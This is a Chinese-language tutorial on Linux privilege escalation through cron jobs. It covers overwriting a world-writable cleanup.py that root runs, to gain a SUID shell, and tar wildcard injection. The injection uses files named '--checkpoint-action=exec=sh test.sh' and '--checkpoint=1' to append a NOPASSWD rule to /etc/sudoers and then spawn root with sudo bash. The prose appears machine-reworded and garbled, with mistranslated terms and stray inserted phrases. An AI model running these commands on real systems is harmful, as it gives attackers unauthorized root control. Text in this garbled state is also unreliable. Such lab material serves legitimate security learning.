文章目录
LinuxCronJobs加壳
定时任务(cronjob)被用于安排这些须要被周期性执行的命令。借助它可以配置个别命令或则脚本,让它们在某个设定的时间内周期性地运行。cron是Linux或则类Unix系统中最为实用的工具之一。cron服务(守护进程)在系统后台运行,而且会持续地检测/etc/crontab文件和/etc/cron.*/目录。它同样也会检测/var/spool/cron/目录
加壳的前提是存在一个执行危险脚本的任务计划,但是这个任务计划执行的执行脚本可以被非root权限用户更改覆盖,并可以正常执行任务计划
关于计划任务可以看这篇教程:
crontab文件覆盖加壳环境搭建
centos5.5
首先使用root用户在/tmp目录下新建一个python文件,使用命令降低权限
chmod 777 cleanup.py
文件内容就是删掉ocean目录下的全部文件
之后root用户使用命令在/etc/crontab文件中新增一个计划任务
直接vim /etc/crontab
或者使用命令
crontab -e
按【字母O】开始写入
*/1 * * * * root /tmp/cleanup.py
# 意思就是每分钟执行依次cleanup脚本
保存之后
使用crontab -l命令查看
切换至普通用户
加壳
使用漏洞拿下机炮,步入加壳阶段,可以联接ssh并访问非root用户终端
cat /etc/crontab
ls -al /tmp/cleanup.py
cat /tmp/cleanup.py
从前面的步骤,可以看出crontab每隔1分钟执行一次python脚本
虽然有许多方式可以获取root权限linux添加计划任务,下面采用开启/bin/dashSUID位的方式
使用普通用户权限更改/tmp/cleanup.py文件(加壳前提就是普通用户着这个文件具有更改权限,通常root用户创建的文件只有root可以更改)
借助了suid文件属性,当任务计划使用root权限执行此命令时linux 论坛,领到root权限
CrontabTarWildcard(键值)注入
也是借助任务计划
环境打算
创建一个定时任务运行tar程序,每分钟备份1次/html文件夹到/var/backups
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
然后html.tgz文件每隔1分钟生成1次
加壳
假如领到了非root用户终端
执行以下命令,查看任务计划
cat /etc/crontab
执行下边的命令来给当前登入用户sudo权限,此后进行wildcard注入
echo 'echo "ocean ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
注意ocean是非root用户名,可以依照自己的进行替换
1分钟后,用户被授予sudo权限
sudo -l
sudo bash
whoami
关于CrontabTarWildcard注入linux添加计划任务linux命令,倘若是直接用tarzcftest.tar我可以执行test.sh,而且假如有前缀tarzcftest.tartest/tar才会正常执行
参考联接: